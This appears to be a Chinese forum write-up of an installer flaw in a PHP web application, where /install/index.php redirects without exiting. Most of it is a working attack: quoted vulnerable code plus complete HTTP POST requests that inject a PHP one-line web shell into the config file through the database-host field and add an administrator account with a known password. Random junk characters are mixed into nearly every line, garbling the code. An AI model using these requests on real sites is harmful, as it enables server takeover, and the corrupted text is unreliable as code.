问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
3 D4 w( B6 V, A% m7 k3 K1 ~
3 o/ n" P5 C# K<?php& I5 b. z9 k- r. ?! z
if(file_exists("../install.lock"))9 A& `& f6 l* B
{
* ^9 Z# M( ?! r4 m: p$ F3 ` header("Location: ../");//没有退出2 d/ C4 R6 S; w2 s+ \( [6 }
}
* z: ]4 ^% P: j k4 H
( R4 F& Q4 C! G# M//echo 'tst';exit;
v' n+ O! E) |! P$ jrequire_once("init.php");
; L, U/ M; v9 X" Iif(empty($_REQUEST['step']) || $_REQUEST['step']==1)% [- f# `6 o2 O2 c4 F
{& p' G$ |. |9 s% [/ K
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
1 h, n' G' Z2 j4 E6 ~& F; J
6 V( g9 Y& H$ N0 p' @9 G1、getshell(很危险)" a! F1 D9 J/ i* N
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)9 p: v3 I$ E+ ]! K" K Q
{
4 i+ g. p9 \% _1 |$smarty->assign("step",1);
" ]( y. v, i2 j. E% e2 y. }$smarty->display("index.html");
% h% d: Q( ^4 |}elseif($_REQUEST['step']==2)
- F2 ?1 y9 r2 i; b; C: x{
# ~5 u2 _4 ]& h! {, e2 o2 m $mysql_host=trim($_POST['mysql_host']);
6 a6 u" L7 q3 k3 U& e8 r* J $mysql_user=trim($_POST['mysql_user']);
7 j7 \9 H% D. G L4 u" K! Z $mysql_pwd=trim($_POST['mysql_pwd']);6 z7 k8 C5 n- y" ]/ E
$mysql_db=trim($_POST['mysql_db']);' m4 c, c0 ?6 o; ^- V2 ?; v
$tblpre=trim($_POST['tblpre']);
2 r% J0 M, |6 C8 `& E2 h; x $domain==trim($_POST['domain']);
3 ?4 P+ _7 h0 |2 m- W3 A* H $str="<?php \r\n";5 z, _ c( _" d( i; W
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
9 ]6 p/ h" y( o9 T x5 M; B $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";6 z' f$ d2 B1 U7 [! g# N+ F+ G( u7 o. }
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
$ |4 U# Q7 I2 C $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
S, x. L* v! _& }- n8 N% a $str.='define("MYSQL_CHARSET","GBK");'."\r\n"; g9 F2 U* v4 K7 l
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";% W {" w/ ~# _' @' _4 z
$str.='define("DOMAIN","'.$domain.'");'."\r\n";: g ]6 s3 Q( g: j g& T1 B+ K& ^
$str.='define("SKINS","default");'."\r\n";# A% M" E! y$ t1 T/ v
$str.='?>';. n# R0 r0 n& y2 ^
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件( Y6 j, u3 i* a6 A4 d i+ c
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
6 k( Y# c0 \2 d" x/ k& {POST /canting/install/index.php?m=index&step=2 HTTP/1.1
- O& U9 a5 U2 @/ IHost: 192.168.80.1298 P3 P1 I# p" l; T
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0; q; N+ m& L, l% X3 n7 o
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
W$ h) |) q4 b: B. T! w9 {Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
. G; w" y0 x1 ?( r! R% E" h+ KAccept-Encoding: gzip, deflate! d, K& j( [& j$ z7 Q' T
Referer: http://192.168.80.129/canting/install/index.php?step=1
; `6 b; ?" S( b5 N! v" x% HCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
5 W0 K; w( s/ N9 x! jContent-Type: application/x-www-form-urlencoded' t! x: S) h. y5 }
Content-Length: 126
' p9 c# r. ?- ^' J* O U/ y
/ l, z8 b4 ~, s. \mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD1 a$ Q. v6 p5 q7 U/ K, L3 m9 ?
但是这个方法很危险,将导致网站无法运行。
8 \3 ^- j* `' `2 R) e& s, X! p' y; a$ t) m' H3 n6 ]
2、直接添加管理员# ]. Q5 o, s7 ^- n6 _1 A
/ E3 l8 A p& T2 Z* V' lelseif($_REQUEST['step']==5)% q ^5 T# }2 W# {) [$ R* o r- ~6 v
{+ x& O- I" e/ E# Z q1 m
if($_POST)$ ]2 _" e+ u' m2 n$ }
{ require_once("../config/config.inc.php");
% i3 p3 j' G$ R4 ^4 W" t: b' k $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
6 L; F* d; C2 n: Q mysql_select_db(MYSQL_DB,$link);+ g; v! K/ B: E
mysql_query("SET NAMES ".MYSQL_CHARSET );) f: Z9 W' L1 h/ i4 P: I
mysql_query("SET sql_mode=''");! f: n3 Q5 h L! S. x3 @7 \, j
+ |2 T+ v1 g0 U4 z: ?' C1 ^3 P$ [4 @
$adminname=trim($_POST['adminname']);0 {7 ?" c4 O& ^3 | n
$pwd1=trim($_POST['pwd1']);: }1 X( W* O0 K- m" Q
$pwd2=trim($_POST['pwd2']);* _1 }4 h0 Z& u. P2 |2 l
if(empty($adminname))
; K0 Z& v) }8 i {
7 z [. J+ f8 _+ \* i# B
' m7 }$ }7 j8 j6 _: H1 m echo "<script>alert('管理员不能为空');history.go(-1);</script>";$ { O5 s" P/ ?5 a0 s4 Z3 j. X
exit();
3 M: W/ ]6 ]! F% ^9 s' ]( a }6 M+ Q$ ]) C$ {5 N1 y
if(($pwd1!=$pwd2) or empty($pwd1))9 R3 Y( H, I$ \
{
: I4 e! A$ m4 R echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
! f& U9 B7 w! o }+ [/ ^& C* Q( r0 v
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员0 u/ H4 O! v; u, E2 z; ` ]- M
}
9 E0 k- F2 T' E8 Q这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
; B1 Q' b; Z2 {. _2 ^; v# IPOST /canting/install/index.php?m=index&step=5 HTTP/1.1( b1 n' H, T6 |6 Y
Host: 192.168.80.1294 ~. ~9 ? C: Y6 ^
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
) ?1 a7 V: c; B6 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/ |! P/ ?7 m8 s' h3 ~3 `
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3- A; r! |( Q2 g( w, Y5 ?
Accept-Encoding: gzip, deflate' d' w* M5 q" v9 u) T( ~4 _
Referer: http://www.2cto.com /canting/install/index.php?step=1
1 ^/ p5 B" j! M& F. TCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc425 X8 ~3 g8 r+ k# v0 m; i, F
Content-Type: application/x-www-form-urlencoded" ? P3 w% s- n: y5 I6 z
Content-Length: 46+ k1 C' {* v6 g# |
) l( c; e, F, E6 S5 q
adminname=qingshen&pwd1=qingshen&pwd2=qingshen& m( r, k+ Q3 v5 {* u) x
|